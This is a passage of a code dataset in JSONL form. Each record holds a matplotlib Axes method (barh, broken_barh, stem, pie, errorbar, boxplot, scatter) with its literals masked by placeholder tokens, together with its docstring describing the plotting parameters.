'center'\n  *orientation*     'vertical' | 'horizontal'\n  *log*             [False|True] False (default) leaves the\n                    orientation axis as-is; True sets it to\n                    log scale\n  ===============   ==========================================\n\nFor vertical bars, *align* = 'edge' aligns bars by their left\nedges in left, while *align* = 'center' interprets these\nvalues as the *x* coordinates of the bar centers. For\nhorizontal bars, *align* = 'edge' aligns bars by their bottom\nedges in bottom, while *align* = 'center' interprets these\nvalues as the *y* coordinates of the bar centers.\n\nThe optional arguments *color*, *edgecolor*, *linewidth*,\n*xerr*, and *yerr* can be either scalars or sequences of\nlength equal to the number of bars.  This enables you to use\nbar as the basis for stacked bar charts, or candlestick plots.\n\nOther optional kwargs:\n\n%(Rectangle)s\n\n**Example:** A stacked bar chart.\n\n.. plot:: mpl_examples/pylab_examples/bar_stacked.py", "id": "f17238:c1:m147"}
{"signature": "def barh(self, bottom, width, height=<NUM_LIT>, left=None, **kwargs):", "body": "patches = self.bar(left=left, height=height, width=width, bottom=bottom,<EOL>orientation='<STR_LIT>', **kwargs)<EOL>return patches<EOL>", "docstring": "call signature::\n\n  barh(bottom, width, height=0.8, left=0, **kwargs)\n\nMake a horizontal bar plot with rectangles bounded by:\n\n  *left*, *left* + *width*, *bottom*, *bottom* + *height*\n        (left, right, bottom and top edges)\n\n*bottom*, *width*, *height*, and *left* can be either scalars\nor sequences\n\nReturn value is a list of\n:class:`matplotlib.patches.Rectangle` instances.\n\nRequired arguments:\n\n  ========   ======================================================\n  Argument   Description\n  ========   ======================================================\n  *bottom*   the vertical positions of the bottom edges of the bars\n  *width*    the lengths of the bars\n  ========   ======================================================\n\nOptional keyword arguments:\n\n  ===============   ==========================================\n  Keyword           Description\n  ===============   ==========================================\n  *height*          the heights (thicknesses) of the bars\n  *left*            the x coordinates of the left edges of the\n                    bars\n  *color*           the colors of the bars\n  *edgecolor*       the colors of the bar edges\n  *linewidth*       width of bar edges; None means use default\n                    linewidth; 0 means don't draw edges.\n  *xerr*            if not None, will be used to generate\n                    errorbars on the bar chart\n  *yerr*            if not None, will be used to generate\n                    errorbars on the bar chart\n  *ecolor*          specifies the color of any errorbar\n  *capsize*         (default 3) determines the length in\n                    points of the error bar caps\n  *align*           'edge' (default) | 'center'\n  *log*             [False|True] False (default) leaves the\n                    horizontal axis as-is; True sets it to log\n                    scale\n  ===============   ==========================================\n\nSetting *align* = 'edge' aligns bars by their bottom edges in\nbottom, while *align* = 'center' interprets these values as\nthe *y* coordinates of the bar centers.\n\nThe optional arguments *color*, *edgecolor*, *linewidth*,\n*xerr*, and *yerr* can be either scalars or sequences of\nlength equal to the number of bars.  This enables you to use\nbarh as the basis for stacked bar charts, or candlestick\nplots.\n\nother optional kwargs:\n\n%(Rectangle)s", "id": "f17238:c1:m148"}
{"signature": "def broken_barh(self, xranges, yrange, **kwargs):", "body": "col = mcoll.BrokenBarHCollection(xranges, yrange, **kwargs)<EOL>self.add_collection(col, autolim=True)<EOL>self.autoscale_view()<EOL>return col<EOL>", "docstring": "call signature::\n\n  broken_barh(self, xranges, yrange, **kwargs)\n\nA collection of horizontal bars spanning *yrange* with a sequence of\n*xranges*.\n\nRequired arguments:\n\n  =========   ==============================\n  Argument    Description\n  =========   ==============================\n  *xranges*   sequence of (*xmin*, *xwidth*)\n  *yrange*    sequence of (*ymin*, *ywidth*)\n  =========   ==============================\n\nkwargs are\n:class:`matplotlib.collections.BrokenBarHCollection`\nproperties:\n\n%(BrokenBarHCollection)s\n\nthese can either be a single argument, ie::\n\n  facecolors = 'black'\n\nor a sequence of arguments for the various bars, ie::\n\n  facecolors = ('black', 'red', 'green')\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/broken_barh.py", "id": "f17238:c1:m149"}
{"signature": "def stem(self, x, y, linefmt='<STR_LIT>', markerfmt='<STR_LIT>', basefmt='<STR_LIT>'):", "body": "remember_hold=self._hold<EOL>if not self._hold: self.cla()<EOL>self.hold(True)<EOL>markerline, = self.plot(x, y, markerfmt)<EOL>stemlines = []<EOL>for thisx, thisy in zip(x, y):<EOL><INDENT>l, = self.plot([thisx,thisx], [<NUM_LIT:0>, thisy], linefmt)<EOL>stemlines.append(l)<EOL><DEDENT>baseline, = self.plot([np.amin(x), np.amax(x)], [<NUM_LIT:0>,<NUM_LIT:0>], basefmt)<EOL>self.hold(remember_hold)<EOL>return markerline, stemlines, baseline<EOL>", "docstring": "call signature::\n\n  stem(x, y, linefmt='b-', markerfmt='bo', basefmt='r-')\n\nA stem plot plots vertical lines (using *linefmt*) at each *x*\nlocation from the baseline to *y*, and places a marker there\nusing *markerfmt*.  A horizontal line at 0 is is plotted using\n*basefmt*.\n\nReturn value is a tuple (*markerline*, *stemlines*,\n*baseline*).\n\n.. seealso::\n    `this document`__ for details\n\n    :file:`examples/pylab_examples/stem_plot.py`:\n        for a demo\n\n__ http://www.mathworks.com/access/helpdesk/help/techdoc/ref/stem.html", "id": "f17238:c1:m150"}
{"signature": "def pie(self, x, explode=None, labels=None, colors=None,<EOL>autopct=None, pctdistance=<NUM_LIT>, shadow=False,<EOL>labeldistance=<NUM_LIT>):", "body": "self.set_frame_on(False)<EOL>x = np.asarray(x).astype(np.float32)<EOL>sx = float(x.sum())<EOL>if sx><NUM_LIT:1>: x = np.divide(x,sx)<EOL>if labels is None: labels = ['<STR_LIT>']*len(x)<EOL>if explode is None: explode = [<NUM_LIT:0>]*len(x)<EOL>assert(len(x)==len(labels))<EOL>assert(len(x)==len(explode))<EOL>if colors is None: colors = ('<STR_LIT:b>', '<STR_LIT:g>', '<STR_LIT:r>', '<STR_LIT:c>', '<STR_LIT:m>', '<STR_LIT:y>', '<STR_LIT:k>', '<STR_LIT:w>')<EOL>center = <NUM_LIT:0>,<NUM_LIT:0><EOL>radius = <NUM_LIT:1><EOL>theta1 = <NUM_LIT:0><EOL>i = <NUM_LIT:0><EOL>texts = []<EOL>slices = []<EOL>autotexts = []<EOL>for frac, label, expl in cbook.safezip(x,labels, explode):<EOL><INDENT>x, y = center<EOL>theta2 = theta1 + frac<EOL>thetam = <NUM_LIT:2>*math.pi*<NUM_LIT:0.5>*(theta1+theta2)<EOL>x += expl*math.cos(thetam)<EOL>y += expl*math.sin(thetam)<EOL>w = mpatches.Wedge((x,y), radius, <NUM_LIT>*theta1, <NUM_LIT>*theta2,<EOL>facecolor=colors[i%len(colors)])<EOL>slices.append(w)<EOL>self.add_patch(w)<EOL>w.set_label(label)<EOL>if shadow:<EOL><INDENT>shad = mpatches.Shadow(w, -<NUM_LIT>, -<NUM_LIT>,<EOL>)<EOL>shad.set_zorder(<NUM_LIT>*w.get_zorder())<EOL>self.add_patch(shad)<EOL><DEDENT>xt = x + labeldistance*radius*math.cos(thetam)<EOL>yt = y + labeldistance*radius*math.sin(thetam)<EOL>label_alignment = xt > <NUM_LIT:0> and '<STR_LIT:left>' or '<STR_LIT:right>'<EOL>t = self.text(xt, yt, label,<EOL>size=rcParams['<STR_LIT>'],<EOL>horizontalalignment=label_alignment,<EOL>verticalalignment='<STR_LIT>')<EOL>texts.append(t)<EOL>if autopct is not None:<EOL><INDENT>xt = x + pctdistance*radius*math.cos(thetam)<EOL>yt = y + pctdistance*radius*math.sin(thetam)<EOL>if is_string_like(autopct):<EOL><INDENT>s = autopct%(<NUM_LIT>*frac)<EOL><DEDENT>elif callable(autopct):<EOL><INDENT>s = autopct(<NUM_LIT>*frac)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>')<EOL><DEDENT>t = self.text(xt, yt, s,<EOL>horizontalalignment='<STR_LIT>',<EOL>verticalalignment='<STR_LIT>')<EOL>autotexts.append(t)<EOL><DEDENT>theta1 = theta2<EOL>i += <NUM_LIT:1><EOL><DEDENT>self.set_xlim((-<NUM_LIT>, <NUM_LIT>))<EOL>self.set_ylim((-<NUM_LIT>, <NUM_LIT>))<EOL>self.set_xticks([])<EOL>self.set_yticks([])<EOL>if autopct is None: return slices, texts<EOL>else: return slices, texts, autotexts<EOL>", "docstring": "r\"\"\"\n        call signature::\n\n          pie(x, explode=None, labels=None,\n              colors=('b', 'g', 'r', 'c', 'm', 'y', 'k', 'w'),\n              autopct=None, pctdistance=0.6, labeldistance=1.1, shadow=False)\n\n        Make a pie chart of array *x*.  The fractional area of each\n        wedge is given by x/sum(x).  If sum(x) <= 1, then the values\n        of x give the fractional area directly and the array will not\n        be normalized.\n\n        Keyword arguments:\n\n          *explode*: [ None | len(x) sequence ]\n            If not *None*, is a len(*x*) array which specifies the\n            fraction of the radius with which to offset each wedge.\n\n          *colors*: [ None | color sequence ]\n            A sequence of matplotlib color args through which the pie chart\n            will cycle.\n\n          *labels*: [ None | len(x) sequence of strings ]\n            A sequence of strings providing the labels for each wedge\n\n          *autopct*: [ None | format string | format function ]\n            If not *None*, is a string or function used to label the\n            wedges with their numeric value.  The label will be placed inside\n            the wedge.  If it is a format string, the label will be ``fmt%pct``.\n            If it is a function, it will be called.\n\n          *pctdistance*: scalar\n            The ratio between the center of each pie slice and the\n            start of the text generated by *autopct*.  Ignored if\n            *autopct* is *None*; default is 0.6.\n\n          *labeldistance*: scalar\n            The radial distance at which the pie labels are drawn\n\n          *shadow*: [ False | True ]\n            Draw a shadow beneath the pie.\n\n        The pie chart will probably look best if the figure and axes are\n        square.  Eg.::\n\n          figure(figsize=(8,8))\n          ax = axes([0.1, 0.1, 0.8, 0.8])\n\n        Return value:\n          If *autopct* is None, return the tuple (*patches*, *texts*):\n\n            - *patches* is a sequence of\n              :class:`matplotlib.patches.Wedge` instances\n\n            - *texts* is a list of the label\n              :class:`matplotlib.text.Text` instances.\n\n          If *autopct* is not *None*, return the tuple (*patches*,\n          *texts*, *autotexts*), where *patches* and *texts* are as\n          above, and *autotexts* is a list of\n          :class:`~matplotlib.text.Text` instances for the numeric\n          labels.", "id": "f17238:c1:m151"}
{"signature": "def errorbar(self, x, y, yerr=None, xerr=None,<EOL>fmt='<STR_LIT:->', ecolor=None, elinewidth=None, capsize=<NUM_LIT:3>,<EOL>barsabove=False, lolims=False, uplims=False,<EOL>xlolims=False, xuplims=False, **kwargs):", "body": "self._process_unit_info(xdata=x, ydata=y, kwargs=kwargs)<EOL>if not self._hold: self.cla()<EOL>if not iterable(x):<EOL><INDENT>x = [x]<EOL><DEDENT>if not iterable(y):<EOL><INDENT>y = [y]<EOL><DEDENT>if xerr is not None:<EOL><INDENT>if not iterable(xerr):<EOL><INDENT>xerr = [xerr]*len(x)<EOL><DEDENT><DEDENT>if yerr is not None:<EOL><INDENT>if not iterable(yerr):<EOL><INDENT>yerr = [yerr]*len(y)<EOL><DEDENT><DEDENT>l0 = None<EOL>if barsabove and fmt is not None:<EOL><INDENT>l0, = self.plot(x,y,fmt,**kwargs)<EOL><DEDENT>barcols = []<EOL>caplines = []<EOL>lines_kw = {'<STR_LIT:label>':'<STR_LIT>'}<EOL>if elinewidth:<EOL><INDENT>lines_kw['<STR_LIT>'] = elinewidth<EOL><DEDENT>else:<EOL><INDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>lines_kw['<STR_LIT>']=kwargs['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>lines_kw['<STR_LIT>']=kwargs['<STR_LIT>']<EOL><DEDENT><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>lines_kw['<STR_LIT>'] = kwargs['<STR_LIT>']<EOL><DEDENT>if not iterable(lolims):<EOL><INDENT>lolims = np.asarray([lolims]*len(x), bool)<EOL><DEDENT>else: lolims = np.asarray(lolims, bool)<EOL>if not iterable(uplims): uplims = np.array([uplims]*len(x), bool)<EOL>else: uplims = np.asarray(uplims, bool)<EOL>if not iterable(xlolims): xlolims = np.array([xlolims]*len(x), bool)<EOL>else: xlolims = np.asarray(xlolims, bool)<EOL>if not iterable(xuplims): xuplims = np.array([xuplims]*len(x), bool)<EOL>else: xuplims = np.asarray(xuplims, bool)<EOL>def xywhere(xs, ys, mask):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>assert len(xs)==len(ys)<EOL>assert len(xs)==len(mask)<EOL>xs = [thisx for thisx, b in zip(xs, mask) if b]<EOL>ys = [thisy for thisy, b in zip(ys, mask) if b]<EOL>return xs, ys<EOL><DEDENT>if capsize > <NUM_LIT:0>:<EOL><INDENT>plot_kw = {<EOL>'<STR_LIT>':<NUM_LIT:2>*capsize,<EOL>'<STR_LIT:label>':'<STR_LIT>'}<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>plot_kw['<STR_LIT>']=kwargs['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>plot_kw['<STR_LIT>']=kwargs['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>plot_kw['<STR_LIT>'] = kwargs['<STR_LIT>']<EOL><DEDENT><DEDENT>if xerr is not None:<EOL><INDENT>if (iterable(xerr) and len(xerr)==<NUM_LIT:2> and<EOL>iterable(xerr[<NUM_LIT:0>]) and iterable(xerr[<NUM_LIT:1>])):<EOL><INDENT>left  = [thisx-thiserr for (thisx, thiserr)<EOL>in cbook.safezip(x,xerr[<NUM_LIT:0>])]<EOL>right  = [thisx+thiserr for (thisx, thiserr)<EOL>in cbook.safezip(x,xerr[<NUM_LIT:1>])]<EOL><DEDENT>else:<EOL><INDENT>left  = [thisx-thiserr for (thisx, thiserr)<EOL>in cbook.safezip(x,xerr)]<EOL>right  = [thisx+thiserr for (thisx, thiserr)<EOL>in cbook.safezip(x,xerr)]<EOL><DEDENT>barcols.append( self.hlines(y, left, right, **lines_kw ) )<EOL>if capsize > <NUM_LIT:0>:<EOL><INDENT>if xlolims.any():<EOL><INDENT>leftlo, ylo = xywhere(left, y, xlolims)<EOL>caplines.extend(<EOL>self.plot(leftlo, ylo, ls='<STR_LIT:None>',<EOL>marker=mlines.CARETLEFT, **plot_kw) )<EOL>xlolims = ~xlolims<EOL>leftlo, ylo = xywhere(left, y, xlolims)<EOL>caplines.extend( self.plot(leftlo, ylo, '<STR_LIT>', **plot_kw) )<EOL><DEDENT>else:<EOL><INDENT>caplines.extend( self.plot(left, y, '<STR_LIT>', **plot_kw) )<EOL><DEDENT>if xuplims.any():<EOL><INDENT>rightup, yup = xywhere(right, y, xuplims)<EOL>caplines.extend(<EOL>self.plot(rightup,  yup, ls='<STR_LIT:None>',<EOL>marker=mlines.CARETRIGHT, **plot_kw) )<EOL>xuplims = ~xuplims<EOL>rightup, yup = xywhere(right, y, xuplims)<EOL>caplines.extend( self.plot(rightup,  yup, '<STR_LIT>', **plot_kw) )<EOL><DEDENT>else:<EOL><INDENT>caplines.extend( self.plot(right, y, '<STR_LIT>', **plot_kw) )<EOL><DEDENT><DEDENT><DEDENT>if yerr is not None:<EOL><INDENT>if (iterable(yerr) and len(yerr)==<NUM_LIT:2> and<EOL>iterable(yerr[<NUM_LIT:0>]) and iterable(yerr[<NUM_LIT:1>])):<EOL><INDENT>lower  = [thisy-thiserr for (thisy, thiserr)<EOL>in cbook.safezip(y,yerr[<NUM_LIT:0>])]<EOL>upper  = [thisy+thiserr for (thisy, thiserr)<EOL>in cbook.safezip(y,yerr[<NUM_LIT:1>])]<EOL><DEDENT>else:<EOL><INDENT>lower  = [thisy-thiserr for (thisy, thiserr)<EOL>in cbook.safezip(y,yerr)]<EOL>upper  = [thisy+thiserr for (thisy, thiserr)<EOL>in cbook.safezip(y,yerr)]<EOL><DEDENT>barcols.append( self.vlines(x, lower, upper, **lines_kw) )<EOL>if capsize > <NUM_LIT:0>:<EOL><INDENT>if lolims.any():<EOL><INDENT>xlo, lowerlo = xywhere(x, lower, lolims)<EOL>caplines.extend(<EOL>self.plot(xlo, lowerlo, ls='<STR_LIT:None>',<EOL>marker=mlines.CARETDOWN, **plot_kw) )<EOL>lolims = ~lolims<EOL>xlo, lowerlo = xywhere(x, lower, lolims)<EOL>caplines.extend( self.plot(xlo, lowerlo, '<STR_LIT>', **plot_kw) )<EOL><DEDENT>else:<EOL><INDENT>caplines.extend( self.plot(x, lower, '<STR_LIT>', **plot_kw) )<EOL><DEDENT>if uplims.any():<EOL><INDENT>xup, upperup = xywhere(x, upper, uplims)<EOL>caplines.extend(<EOL>self.plot(xup, upperup, ls='<STR_LIT:None>',<EOL>marker=mlines.CARETUP, **plot_kw) )<EOL>uplims = ~uplims<EOL>xup, upperup = xywhere(x, upper, uplims)<EOL>caplines.extend( self.plot(xup, upperup, '<STR_LIT>', **plot_kw) )<EOL><DEDENT>else:<EOL><INDENT>caplines.extend( self.plot(x, upper, '<STR_LIT>', **plot_kw) )<EOL><DEDENT><DEDENT><DEDENT>if not barsabove and fmt is not None:<EOL><INDENT>l0, = self.plot(x,y,fmt,**kwargs)<EOL><DEDENT>if ecolor is None:<EOL><INDENT>if l0 is None:<EOL><INDENT>ecolor = self._get_lines._get_next_cycle_color()<EOL><DEDENT>else:<EOL><INDENT>ecolor = l0.get_color()<EOL><DEDENT><DEDENT>for l in barcols:<EOL><INDENT>l.set_color(ecolor)<EOL><DEDENT>for l in caplines:<EOL><INDENT>l.set_color(ecolor)<EOL><DEDENT>self.autoscale_view()<EOL>return (l0, caplines, barcols)<EOL>", "docstring": "call signature::\n\n  errorbar(x, y, yerr=None, xerr=None,\n           fmt='-', ecolor=None, elinewidth=None, capsize=3,\n           barsabove=False, lolims=False, uplims=False,\n           xlolims=False, xuplims=False)\n\nPlot *x* versus *y* with error deltas in *yerr* and *xerr*.\nVertical errorbars are plotted if *yerr* is not *None*.\nHorizontal errorbars are plotted if *xerr* is not *None*.\n\n*x*, *y*, *xerr*, and *yerr* can all be scalars, which plots a\nsingle error bar at *x*, *y*.\n\nOptional keyword arguments:\n\n  *xerr*/*yerr*: [ scalar | N, Nx1, Nx2 array-like ]\n    If a scalar number, len(N) array-like object, or an Nx1 array-like\n    object, errorbars are drawn +/- value.\n\n    If a rank-1, Nx2 Numpy array, errorbars are drawn at -column1 and\n    +column2\n\n  *fmt*: '-'\n    The plot format symbol for *y*. If *fmt* is *None*, just plot the\n    errorbars with no line symbols.  This can be useful for creating a\n    bar plot with errorbars.\n\n  *ecolor*: [ None | mpl color ]\n    a matplotlib color arg which gives the color the errorbar lines; if\n    *None*, use the marker color.\n\n  *elinewidth*: scalar\n    the linewidth of the errorbar lines. If *None*, use the linewidth.\n\n  *capsize*: scalar\n    the size of the error bar caps in points\n\n  *barsabove*: [ True | False ]\n    if *True*, will plot the errorbars above the plot\n    symbols. Default is below.\n\n  *lolims*/*uplims*/*xlolims*/*xuplims*: [ False | True ]\n    These arguments can be used to indicate that a value gives\n    only upper/lower limits. In that case a caret symbol is\n    used to indicate this. lims-arguments may be of the same\n    type as *xerr* and *yerr*.\n\nAll other keyword arguments are passed on to the plot command for the\nmarkers, so you can add additional key=value pairs to control the\nerrorbar markers.  For example, this code makes big red squares with\nthick green edges::\n\n  x,y,yerr = rand(3,10)\n  errorbar(x, y, yerr, marker='s',\n           mfc='red', mec='green', ms=20, mew=4)\n\nwhere *mfc*, *mec*, *ms* and *mew* are aliases for the longer\nproperty names, *markerfacecolor*, *markeredgecolor*, *markersize*\nand *markeredgewith*.\n\nvalid kwargs for the marker properties are\n\n%(Line2D)s\n\nReturn value is a length 3 tuple.  The first element is the\n:class:`~matplotlib.lines.Line2D` instance for the *y* symbol\nlines.  The second element is a list of error bar cap lines,\nthe third element is a list of\n:class:`~matplotlib.collections.LineCollection` instances for\nthe horizontal and vertical error ranges.\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/errorbar_demo.py", "id": "f17238:c1:m152"}
{"signature": "def boxplot(self, x, notch=<NUM_LIT:0>, sym='<STR_LIT>', vert=<NUM_LIT:1>, whis=<NUM_LIT>,<EOL>positions=None, widths=None):", "body": "if not self._hold: self.cla()<EOL>holdStatus = self._hold<EOL>whiskers, caps, boxes, medians, fliers = [], [], [], [], []<EOL>if hasattr(x, '<STR_LIT>'):<EOL><INDENT>if len(x.shape) == <NUM_LIT:1>:<EOL><INDENT>if hasattr(x[<NUM_LIT:0>], '<STR_LIT>'):<EOL><INDENT>x = list(x)<EOL><DEDENT>else:<EOL><INDENT>x = [x,]<EOL><DEDENT><DEDENT>elif len(x.shape) == <NUM_LIT:2>:<EOL><INDENT>nr, nc = x.shape<EOL>if nr == <NUM_LIT:1>:<EOL><INDENT>x = [x]<EOL><DEDENT>elif nc == <NUM_LIT:1>:<EOL><INDENT>x = [x.ravel()]<EOL><DEDENT>else:<EOL><INDENT>x = [x[:,i] for i in range(nc)]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not hasattr(x[<NUM_LIT:0>], '<STR_LIT>'):<EOL><INDENT>x = [x]<EOL><DEDENT>col = len(x)<EOL>if positions is None:<EOL><INDENT>positions = list(range(<NUM_LIT:1>, col + <NUM_LIT:1>))<EOL><DEDENT>if widths is None:<EOL><INDENT>distance = max(positions) - min(positions)<EOL>widths = min(<NUM_LIT>*max(distance,<NUM_LIT:1.0>), <NUM_LIT:0.5>)<EOL><DEDENT>if isinstance(widths, float) or isinstance(widths, int):<EOL><INDENT>widths = np.ones((col,), float) * widths<EOL><DEDENT>self.hold(True)<EOL>for i,pos in enumerate(positions):<EOL><INDENT>d = np.ravel(x[i])<EOL>row = len(d)<EOL>q1, med, q3 = mlab.prctile(d,[<NUM_LIT>,<NUM_LIT:50>,<NUM_LIT>])<EOL>iq = q3 - q1<EOL>hi_val = q3 + whis*iq<EOL>wisk_hi = np.compress( d <= hi_val , d )<EOL>if len(wisk_hi) == <NUM_LIT:0>:<EOL><INDENT>wisk_hi = q3<EOL><DEDENT>else:<EOL><INDENT>wisk_hi = max(wisk_hi)<EOL><DEDENT>lo_val = q1 - whis*iq<EOL>wisk_lo = np.compress( d >= lo_val, d )<EOL>if len(wisk_lo) == <NUM_LIT:0>:<EOL><INDENT>wisk_lo = q1<EOL><DEDENT>else:<EOL><INDENT>wisk_lo = min(wisk_lo)<EOL><DEDENT>flier_hi = []<EOL>flier_lo = []<EOL>flier_hi_x = []<EOL>flier_lo_x = []<EOL>if len(sym) != <NUM_LIT:0>:<EOL><INDENT>flier_hi = np.compress( d > wisk_hi, d )<EOL>flier_lo = np.compress( d < wisk_lo, d )<EOL>flier_hi_x = np.ones(flier_hi.shape[<NUM_LIT:0>]) * pos<EOL>flier_lo_x = np.ones(flier_lo.shape[<NUM_LIT:0>]) * pos<EOL><DEDENT>box_x_min = pos - widths[i] * <NUM_LIT:0.5><EOL>box_x_max = pos + widths[i] * <NUM_LIT:0.5><EOL>wisk_x = np.ones(<NUM_LIT:2>) * pos<EOL>cap_x_min = pos - widths[i] * <NUM_LIT><EOL>cap_x_max = pos + widths[i] * <NUM_LIT><EOL>cap_x = [cap_x_min, cap_x_max]<EOL>med_y = [med, med]<EOL>if notch == <NUM_LIT:0>:<EOL><INDENT>box_x = [box_x_min, box_x_max, box_x_max, box_x_min, box_x_min ]<EOL>box_y = [q1, q1, q3, q3, q1 ]<EOL>med_x = [box_x_min, box_x_max]<EOL><DEDENT>else:<EOL><INDENT>notch_max = med + <NUM_LIT>*iq/np.sqrt(row)<EOL>notch_min = med - <NUM_LIT>*iq/np.sqrt(row)<EOL>if notch_max > q3:<EOL><INDENT>notch_max = q3<EOL><DEDENT>if notch_min < q1:<EOL><INDENT>notch_min = q1<EOL><DEDENT>box_x = [box_x_min, box_x_max, box_x_max, cap_x_max, box_x_max,<EOL>box_x_max, box_x_min, box_x_min, cap_x_min, box_x_min,<EOL>box_x_min ]<EOL>box_y = [q1, q1, notch_min, med, notch_max, q3, q3, notch_max,<EOL>med, notch_min, q1]<EOL>med_x = [cap_x_min, cap_x_max]<EOL>med_y = [med, med]<EOL><DEDENT>if vert:<EOL><INDENT>def doplot(*args):<EOL><INDENT>return self.plot(*args)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>def doplot(*args):<EOL><INDENT>shuffled = []<EOL>for i in range(<NUM_LIT:0>, len(args), <NUM_LIT:3>):<EOL><INDENT>shuffled.extend([args[i+<NUM_LIT:1>], args[i], args[i+<NUM_LIT:2>]])<EOL><DEDENT>return self.plot(*shuffled)<EOL><DEDENT><DEDENT>whiskers.extend(doplot(wisk_x, [q1, wisk_lo], '<STR_LIT>',<EOL>wisk_x, [q3, wisk_hi], '<STR_LIT>'))<EOL>caps.extend(doplot(cap_x, [wisk_hi, wisk_hi], '<STR_LIT>',<EOL>cap_x, [wisk_lo, wisk_lo], '<STR_LIT>'))<EOL>boxes.extend(doplot(box_x, box_y, '<STR_LIT>'))<EOL>medians.extend(doplot(med_x, med_y, '<STR_LIT>'))<EOL>fliers.extend(doplot(flier_hi_x, flier_hi, sym,<EOL>flier_lo_x, flier_lo, sym))<EOL><DEDENT>if <NUM_LIT:1> == vert:<EOL><INDENT>setticks, setlim = self.set_xticks, self.set_xlim<EOL><DEDENT>else:<EOL><INDENT>setticks, setlim = self.set_yticks, self.set_ylim<EOL><DEDENT>newlimits = min(positions)-<NUM_LIT:0.5>, max(positions)+<NUM_LIT:0.5><EOL>setlim(newlimits)<EOL>setticks(positions)<EOL>self.hold(holdStatus)<EOL>return dict(whiskers=whiskers, caps=caps, boxes=boxes,<EOL>medians=medians, fliers=fliers)<EOL>", "docstring": "call signature::\n\n  boxplot(x, notch=0, sym='+', vert=1, whis=1.5,\n          positions=None, widths=None)\n\nMake a box and whisker plot for each column of *x* or each\nvector in sequence *x*.  The box extends from the lower to\nupper quartile values of the data, with a line at the median.\nThe whiskers extend from the box to show the range of the\ndata.  Flier points are those past the end of the whiskers.\n\n- *notch* = 0 (default) produces a rectangular box plot.\n- *notch* = 1 will produce a notched box plot\n\n*sym* (default 'b+') is the default symbol for flier points.\nEnter an empty string ('') if you don't want to show fliers.\n\n- *vert* = 1 (default) makes the boxes vertical.\n- *vert* = 0 makes horizontal boxes.  This seems goofy, but\n  that's how Matlab did it.\n\n*whis* (default 1.5) defines the length of the whiskers as\na function of the inner quartile range.  They extend to the\nmost extreme data point within ( ``whis*(75%-25%)`` ) data range.\n\n*positions* (default 1,2,...,n) sets the horizontal positions of\nthe boxes. The ticks and limits are automatically set to match\nthe positions.\n\n*widths* is either a scalar or a vector and sets the width of\neach box. The default is 0.5, or ``0.15*(distance between extreme\npositions)`` if that is smaller.\n\n*x* is an array or a sequence of vectors.\n\nReturns a dictionary mapping each component of the boxplot\nto a list of the :class:`matplotlib.lines.Line2D`\ninstances created.\n\n**Example:**\n\n.. plot:: pyplots/boxplot_demo.py", "id": "f17238:c1:m153"}
{"signature": "def scatter(self, x, y, s=<NUM_LIT:20>, c='<STR_LIT:b>', marker='<STR_LIT:o>', cmap=None, norm=None,<EOL>vmin=None, vmax=None, alpha=<NUM_LIT:1.0>, linewidths=None,<EOL>faceted=True, verts=None,<EOL>**kwargs):", "body": "if not self._hold: self.cla()<EOL>syms =  { <EOL>'<STR_LIT:s>' : (<NUM_LIT:4>,math.pi/<NUM_LIT>,<NUM_LIT:0>),   <EOL>'<STR_LIT:o>' : (<NUM_LIT:20>,<NUM_LIT:3>,<NUM_LIT:0>),            <EOL>'<STR_LIT>' : (<NUM_LIT:3>,<NUM_LIT:0>,<NUM_LIT:0>),             <EOL>'<STR_LIT:>>' : (<NUM_LIT:3>,math.pi/<NUM_LIT>,<NUM_LIT:0>),   <EOL>'<STR_LIT:v>' : (<NUM_LIT:3>,math.pi,<NUM_LIT:0>),       <EOL>'<STR_LIT:<>' : (<NUM_LIT:3>,<NUM_LIT:3>*math.pi/<NUM_LIT>,<NUM_LIT:0>), <EOL>'<STR_LIT:d>' : (<NUM_LIT:4>,<NUM_LIT:0>,<NUM_LIT:0>),             <EOL>'<STR_LIT:p>' : (<NUM_LIT:5>,<NUM_LIT:0>,<NUM_LIT:0>),             <EOL>'<STR_LIT:h>' : (<NUM_LIT:6>,<NUM_LIT:0>,<NUM_LIT:0>),             <EOL>'<STR_LIT>' : (<NUM_LIT:8>,<NUM_LIT:0>,<NUM_LIT:0>),             <EOL>'<STR_LIT:+>' : (<NUM_LIT:4>,<NUM_LIT:0>,<NUM_LIT:2>),             <EOL>'<STR_LIT:x>' : (<NUM_LIT:4>,math.pi/<NUM_LIT>,<NUM_LIT:2>)    <EOL>}<EOL>self._process_unit_info(xdata=x, ydata=y, kwargs=kwargs)<EOL>x, y, s, c = cbook.delete_masked_points(x, y, s, c)<EOL>if is_string_like(c) or cbook.is_sequence_of_strings(c):<EOL><INDENT>colors = mcolors.colorConverter.to_rgba_array(c, alpha)<EOL><DEDENT>else:<EOL><INDENT>sh = np.shape(c)<EOL>if len(sh) == <NUM_LIT:1> and sh[<NUM_LIT:0>] == len(x):<EOL><INDENT>colors = None  <EOL><DEDENT>else:<EOL><INDENT>colors = mcolors.colorConverter.to_rgba_array(c, alpha)<EOL><DEDENT><DEDENT>if not iterable(s):<EOL><INDENT>scales = (s,)<EOL><DEDENT>else:<EOL><INDENT>scales = s<EOL><DEDENT>if faceted:<EOL><INDENT>edgecolors = None<EOL><DEDENT>else:<EOL><INDENT>edgecolors = '<STR_LIT:none>'<EOL>warnings.warn(<EOL>'''<STR_LIT>''',<EOL>DeprecationWarning)   <EOL><DEDENT>sym = None<EOL>symstyle = <NUM_LIT:0><EOL>if marker is None and not (verts is None):<EOL><INDENT>marker = (verts, <NUM_LIT:0>)<EOL>verts = None<EOL><DEDENT>if is_string_like(marker):<EOL><INDENT>sym = syms.get(marker)<EOL>if sym is None and verts is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>numsides, rotation, symstyle = syms[marker]<EOL><DEDENT>elif iterable(marker):<EOL><INDENT>if len(marker)<<NUM_LIT:2> or 